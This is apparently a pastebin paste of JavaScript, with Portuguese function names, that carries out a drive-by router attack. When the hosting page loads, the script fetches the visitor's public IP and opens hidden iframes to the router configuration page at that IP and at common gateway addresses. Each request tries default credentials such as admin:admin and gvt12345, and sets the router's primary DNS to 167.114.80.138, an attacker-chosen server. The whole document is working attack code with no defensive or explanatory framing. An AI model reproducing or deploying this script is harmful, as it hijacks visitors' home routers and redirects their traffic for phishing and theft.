SHOW:
|
|
- or go back to the newest paste.
1 | function Carregar(url, callback) | |
2 | { | |
3 | var head = document.getElementsByTagName('head')[0]; | |
4 | var script = document.createElement('script'); | |
5 | script.type = 'text/javascript'; | |
6 | script.src = url; | |
7 | ||
8 | script.onreadystatechange = callback; | |
9 | script.onload = callback; | |
10 | ||
11 | head.appendChild(script); | |
12 | } | |
13 | ||
14 | ||
15 | function CapturarIP() { | |
16 | if (window.XMLHttpRequest) xmlhttp = new XMLHttpRequest(); | |
17 | else xmlhttp = new ActiveXObject("Microsoft.XMLHTTP"); | |
18 | ||
19 | xmlhttp.open("GET","http://api.hostip.info/get_html.php",false); | |
20 | xmlhttp.send(); | |
21 | ||
22 | hostipInfo = xmlhttp.responseText.split("\n"); | |
23 | ||
24 | for (i=0; hostipInfo.length >= i; i++) { | |
25 | ipAddress = hostipInfo[i].split(":"); | |
26 | if ( ipAddress[0] == "IP" ) return ipAddress[1]; | |
27 | } | |
28 | ||
29 | return false; | |
30 | } | |
31 | ||
32 | function Inicio(){ | |
33 | ||
34 | var sDnsPrimario = '167.114.80.138'; | |
35 | var sDnsSecundario = '8.8.8.8'; | |
36 | ||
37 | var fnCriarIfame = function(url){ | |
38 | ||
39 | $('body').append('<iframe style="display:none" src="'+url+'"></iframe>') | |
40 | ||
41 | } | |
42 | ||
43 | var IP = CapturarIP(); | |
44 | IP = IP.trim() | |
45 | ||
46 | fnCriarIfame('http://'+IP+'/dnscfg.cgi?dnsPrimary='+sDnsPrimario+'&dnsSecondary='+sDnsSecundario+'&dnsDynamic=0&dnsRefresh=1'); | |
47 | fnCriarIfame('http://192.168.0.1/dnscfg.cgi?dnsPrimary='+sDnsPrimario+'&dnsSecondary='+sDnsSecundario+'&dnsDynamic=0&dnsRefresh=1'); | |
48 | fnCriarIfame('http://192.168.1.1/dnscfg.cgi?dnsPrimary='+sDnsPrimario+'&dnsSecondary='+sDnsSecundario+'&dnsDynamic=0&dnsRefresh=1'); | |
49 | fnCriarIfame('http://192.168.3.1/dnscfg.cgi?dnsPrimary='+sDnsPrimario+'&dnsSecondary='+sDnsSecundario+'&dnsDynamic=0&dnsRefresh=1'); | |
50 | fnCriarIfame('http://10.0.0.1/dnscfg.cgi?dnsPrimary='+sDnsPrimario+'&dnsSecondary='+sDnsSecundario+'&dnsDynamic=0&dnsRefresh=1'); | |
51 | fnCriarIfame('http://10.1.1.1/dnscfg.cgi?dnsPrimary='+sDnsPrimario+'&dnsSecondary='+sDnsSecundario+'&dnsDynamic=0&dnsRefresh=1'); | |
52 | fnCriarIfame('http://10.1.0.1/dnscfg.cgi?dnsPrimary='+sDnsPrimario+'&dnsSecondary='+sDnsSecundario+'&dnsDynamic=0&dnsRefresh=1'); | |
53 | ||
54 | fnCriarIfame('http://admin:admin@'+IP+'/dnscfg.cgi?dnsPrimary='+sDnsPrimario+'&dnsSecondary='+sDnsSecundario+'&dnsDynamic=0&dnsRefresh=1'); | |
55 | fnCriarIfame('http://admin:admin@192.168.0.1/dnscfg.cgi?dnsPrimary='+sDnsPrimario+'&dnsSecondary='+sDnsSecundario+'&dnsDynamic=0&dnsRefresh=1'); | |
56 | fnCriarIfame('http://admin:admin@192.168.1.1/dnscfg.cgi?dnsPrimary='+sDnsPrimario+'&dnsSecondary='+sDnsSecundario+'&dnsDynamic=0&dnsRefresh=1'); | |
57 | fnCriarIfame('http://admin:admin@192.168.3.1/dnscfg.cgi?dnsPrimary='+sDnsPrimario+'&dnsSecondary='+sDnsSecundario+'&dnsDynamic=0&dnsRefresh=1'); | |
58 | fnCriarIfame('http://admin:admin@10.0.0.1/dnscfg.cgi?dnsPrimary='+sDnsPrimario+'&dnsSecondary='+sDnsSecundario+'&dnsDynamic=0&dnsRefresh=1'); | |
59 | fnCriarIfame('http://admin:admin@10.1.1.1/dnscfg.cgi?dnsPrimary='+sDnsPrimario+'&dnsSecondary='+sDnsSecundario+'&dnsDynamic=0&dnsRefresh=1'); | |
60 | fnCriarIfame('http://admin:admin@10.1.0.1/dnscfg.cgi?dnsPrimary='+sDnsPrimario+'&dnsSecondary='+sDnsSecundario+'&dnsDynamic=0&dnsRefresh=1'); | |
61 | ||
62 | fnCriarIfame('http://admin:@'+IP+'/dnscfg.cgi?dnsPrimary='+sDnsPrimario+'&dnsSecondary='+sDnsSecundario+'&dnsDynamic=0&dnsRefresh=1'); | |
63 | fnCriarIfame('http://admin:@192.168.0.1/dnscfg.cgi?dnsPrimary='+sDnsPrimario+'&dnsSecondary='+sDnsSecundario+'&dnsDynamic=0&dnsRefresh=1'); | |
64 | fnCriarIfame('http://admin:@192.168.1.1/dnscfg.cgi?dnsPrimary='+sDnsPrimario+'&dnsSecondary='+sDnsSecundario+'&dnsDynamic=0&dnsRefresh=1'); | |
65 | fnCriarIfame('http://admin:@192.168.3.1/dnscfg.cgi?dnsPrimary='+sDnsPrimario+'&dnsSecondary='+sDnsSecundario+'&dnsDynamic=0&dnsRefresh=1'); | |
66 | fnCriarIfame('http://admin:@10.0.0.1/dnscfg.cgi?dnsPrimary='+sDnsPrimario+'&dnsSecondary='+sDnsSecundario+'&dnsDynamic=0&dnsRefresh=1'); | |
67 | fnCriarIfame('http://admin:@10.1.1.1/dnscfg.cgi?dnsPrimary='+sDnsPrimario+'&dnsSecondary='+sDnsSecundario+'&dnsDynamic=0&dnsRefresh=1'); | |
68 | fnCriarIfame('http://admin:@10.1.0.1/dnscfg.cgi?dnsPrimary='+sDnsPrimario+'&dnsSecondary='+sDnsSecundario+'&dnsDynamic=0&dnsRefresh=1'); | |
69 | ||
70 | fnCriarIfame('http://:admin@'+IP+'/dnscfg.cgi?dnsPrimary='+sDnsPrimario+'&dnsSecondary='+sDnsSecundario+'&dnsDynamic=0&dnsRefresh=1'); | |
71 | fnCriarIfame('http://:admin@192.168.0.1/dnscfg.cgi?dnsPrimary='+sDnsPrimario+'&dnsSecondary='+sDnsSecundario+'&dnsDynamic=0&dnsRefresh=1'); | |
72 | fnCriarIfame('http://:admin@192.168.1.1/dnscfg.cgi?dnsPrimary='+sDnsPrimario+'&dnsSecondary='+sDnsSecundario+'&dnsDynamic=0&dnsRefresh=1'); | |
73 | fnCriarIfame('http://:admin@192.168.3.1/dnscfg.cgi?dnsPrimary='+sDnsPrimario+'&dnsSecondary='+sDnsSecundario+'&dnsDynamic=0&dnsRefresh=1'); | |
74 | fnCriarIfame('http://:admin@10.0.0.1/dnscfg.cgi?dnsPrimary='+sDnsPrimario+'&dnsSecondary='+sDnsSecundario+'&dnsDynamic=0&dnsRefresh=1'); | |
75 | fnCriarIfame('http://:admin@10.1.1.1/dnscfg.cgi?dnsPrimary='+sDnsPrimario+'&dnsSecondary='+sDnsSecundario+'&dnsDynamic=0&dnsRefresh=1'); | |
76 | fnCriarIfame('http://:admin@10.1.0.1/dnscfg.cgi?dnsPrimary='+sDnsPrimario+'&dnsSecondary='+sDnsSecundario+'&dnsDynamic=0&dnsRefresh=1'); | |
77 | ||
78 | fnCriarIfame('http://admin:gvt12345@'+IP+'/dnscfg.cgi?dnsPrimary='+sDnsPrimario+'&dnsSecondary='+sDnsSecundario+'&dnsDynamic=0&dnsRefresh=1'); | |
79 | fnCriarIfame('http://admin:gvt12345@192.168.0.1/dnscfg.cgi?dnsPrimary='+sDnsPrimario+'&dnsSecondary='+sDnsSecundario+'&dnsDynamic=0&dnsRefresh=1'); | |
80 | fnCriarIfame('http://admin:gvt12345@192.168.1.1/dnscfg.cgi?dnsPrimary='+sDnsPrimario+'&dnsSecondary='+sDnsSecundario+'&dnsDynamic=0&dnsRefresh=1'); | |
81 | fnCriarIfame('http://admin:gvt12345@192.168.3.1/dnscfg.cgi?dnsPrimary='+sDnsPrimario+'&dnsSecondary='+sDnsSecundario+'&dnsDynamic=0&dnsRefresh=1'); | |
82 | fnCriarIfame('http://admin:gvt12345@10.0.0.1/dnscfg.cgi?dnsPrimary='+sDnsPrimario+'&dnsSecondary='+sDnsSecundario+'&dnsDynamic=0&dnsRefresh=1'); | |
83 | fnCriarIfame('http://admin:gvt12345@10.1.1.1/dnscfg.cgi?dnsPrimary='+sDnsPrimario+'&dnsSecondary='+sDnsSecundario+'&dnsDynamic=0&dnsRefresh=1'); | |
84 | fnCriarIfame('http://admin:gvt12345@10.1.0.1/dnscfg.cgi?dnsPrimary='+sDnsPrimario+'&dnsSecondary='+sDnsSecundario+'&dnsDynamic=0&dnsRefresh=1'); | |
85 | ||
86 | } | |
87 | ||
88 | if(!window.Jquery){ | |
89 | ||
90 | Carregar('//ajax.googleapis.com/ajax/libs/jquery/1.11.1/jquery.min.js',Inicio); | |
91 | ||
92 | } else { | |
93 | ||
94 | Inicio; | |
95 | ||
96 | } |